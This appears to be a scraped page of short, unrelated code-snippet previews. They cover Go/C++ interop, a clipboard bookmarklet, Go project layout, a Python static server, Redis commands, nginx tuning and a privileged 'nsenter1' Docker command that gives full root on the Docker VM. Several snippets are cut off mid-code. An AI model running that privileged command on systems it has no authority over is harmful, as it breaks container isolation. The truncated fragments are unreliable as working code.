This is an example of Go code calling to a C++ library with a C wrapper.
go build # this only ensures it compiles
javascript:(function() { | |
function copyToClipboard(text) { | |
if (window.clipboardData && window.clipboardData.setData) { | |
/*IE specific code path to prevent textarea being shown while dialog is visible.*/ | |
return clipboardData.setData("Text", text); | |
} else if (document.queryCommandSupported && document.queryCommandSupported("copy")) { | |
var textarea = document.createElement("textarea"); | |
textarea.textContent = text; |

Organizing your Go (Golang) project's folder structure can help improve code readability, maintainability, and scalability. While there is no one-size-fits-all structure, here's a common folder structure for a Go project:
project-root/
├── cmd/
│ ├── your-app-name/
│ │ ├── main.go # Application entry point
│ │ └── ... # Other application-specific files
Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000
# Redis Cheatsheet | |
# All the commands you need to know | |
redis-server /path/redis.conf # start redis with the related configuration file | |
redis-cli # opens a redis prompt | |
# Strings. |
For this configuration you can use web server you like, i decided, because i work mostly with it to use nginx.
Generally, properly configured nginx can handle up to 400K to 500K requests per second (clustered), most what i saw is 50K to 80K (non-clustered) requests per second and 30% CPU load, course, this was 2 x Intel Xeon
with HyperThreading enabled, but it can work without problem on slower machines.
You must understand that this config is used in testing environment and not in production so you will need to find a way to implement most of those features best possible for your servers.

Just run this from your Mac terminal and it'll drop you in a container with full permissions on the Docker VM. This also works for Docker for Windows for getting in Moby Linux VM (doesn't work for Windows Containers).
docker run -it --rm --privileged --pid=host justincormack/nsenter1
